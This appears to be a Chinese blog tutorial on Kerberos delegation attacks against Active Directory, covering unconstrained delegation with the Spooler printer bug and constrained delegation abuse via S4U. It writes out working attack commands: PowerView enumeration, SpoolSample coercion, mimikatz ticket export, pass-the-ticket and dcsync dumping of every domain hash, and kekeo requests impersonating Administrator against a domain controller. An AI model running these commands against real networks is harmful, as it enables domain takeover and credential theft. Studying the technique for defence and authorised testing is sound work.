【域渗透】Kerberos委派攻击
一、委派简单介绍
关于委派分别有:非约束委派、约束委派、资源约束委派
域中如果出现 A 使用 Kerberos 身份验证访问域中的服务 B,而 B 再利用 A 的身份去请求域中的服务 C ,这个过程就可以理解为委派。
用户需要访问主机s2上的HTTP服务,而HTTP服务需要请求其他主机的SQLServer数据库,但是S2并不知道用户是否有权限访问SQLServer,这时HTTP服务会利用用户的身份去访问SQLServer,如果User有权限访问SQLServer服务才能访问成功。
一、非约束委派+Spooler BUG利用
powershell -exec bypass Import-Module .\PowerView.ps1
查询域中配置非约束委派的主机:Get-NetComuter -Unconstrained -Domain yiwang.com
利用条件,需要设置一台主机账户开启了非约束委派域内机器的权限,实际可配合powerview脚本查找主机,域控主机需要为win2012 server r2 以上 版本,Print Spooler服务默认是自动运行的
Spooler利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或ntml对攻击者选择的目标进行身份验证。
GitHub POC:https://github.com/leechristensen/SpoolSample //此处使用域用户去执行,否则会导致程序崩溃需要将此域用户添加入本地管理员组为mimikatz做准备
命令: SpoolSample.exe dc.redteam.com WEB-1.redteam.com
使用mimikatz导入票据
privilege::debug //提升权限
kerberos::purge //清除票据
sekurlsa::tickets /export //导出票据
kerberos::ptt [0;862bdd]-2-0-60a10000-DC$@krbtgt-REDTEAM.COM.kirbi //导入票据
lsadump::dcsync /domain:redteam.com /all /csv //通过dcsync获取域内所有hash
二、约束委派
由于非约束委派的不安全性(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),Kerberos 协议进行拓展,引入了 S4U(S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。
S4U2self:(Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(TGS);如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION, 则其可以代表任何其他用户获取自身服务的 TGS/ST。
S4U2proxy:(Service for User to Proxy) 可以以用户的名义请求其它服务的 TGS,限制了 S4U2proxy 扩展的范围。
简单来说被设置约束委派服务能够通过S4U2Self向KDC为任意用户请求访问自身可转发的服务票据,接着就可以通过S4U2proxy使用ST票据向kDC请求访问B的票据,从而获取B的权限。
在Windows系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有,也就是当前用户账户下存在相对应的服务,比如mssql,http等等服务
所以首先需要把一个用户设置为服务账户:setspn -U -A https/golden web
查找约束委派账户:AdFind.exe -h 192.168.237.9 -u web -up Password@123 -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
已经知道服务用户明文的条件下,用kekeo请求该用户的TGT
tgt::ask /user:web /domain:redteam.com /password:user@123 /ticket:yuyonghu01.kirbi
使用这张TGT通过伪造s4u请求以Administrator用户身份请求访问dc CIFS
的ST
tgs::s4u /tgt:TGT_web@REDTEAM.COM_krbtgt~redteam.com@REDTEAM.COM.kirbi /user:administrator@redteam.com /service:cifs/dc.redteam.com
S4U2Self获取到的ST1以及S4U2Proxy获取到的dc CIFS服务的ST2会保存在当前目录下
导入TGS服务票据,访问对应的服务
kerberos::ptt TGT_administrator@redteam.com@REDTEAM.COM_cifs~dc.redteam.com@REDTEAM.COM.kirbi
二、约束委派利用分析
AS-REQ以WEB$服务身份向KDC请求TGT票据,是可转发的kerberos.KDCOptions.forwardable=1
AS-REP KDC返回TGT票据
第三个TGS-REQ(s4u2self)包是用上一步得到的TGT票据,以administrator的身份向TGS申请了一张访问自身服务(WEB$)的ST票据,叫他ST1以免和下面混淆,设置可以转发。
第四个TGS-REP返回administrator的st1票据给WEB$机器
第五个TGS-REQ包(S4U2Proxy),WEB$得到ST1后,会additional-tickets 处带上ST1再次向KDC发起S4U2Proxy请求,以administrator的身份请求一张访问域控DC CIFS服务的票据.
第六个TGS-REP包,KDC返回的就是以 administrator 身份访问域控DC的CIFS服务的ST票据,为ST2(TGT_administrator@redteam.com@REDTEAM.COM_cifs~dc.redteam.com@REDTEAM.COM.kirbi)
参考链接:
https://mp.weixin.qq.com/s/_wwTo7JcFV_lXaxhgMFJCQ
https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Delegation.html
https://xz.aliyun.com/t/7217#toc-0
https://3nd.xyz/2021/01/18/ad-kerberos-delegation-md.html
本文来自博客园,作者:aoaoaoao,转载请注明原文链接:https://www.cnblogs.com/websecyw/p/12461990.html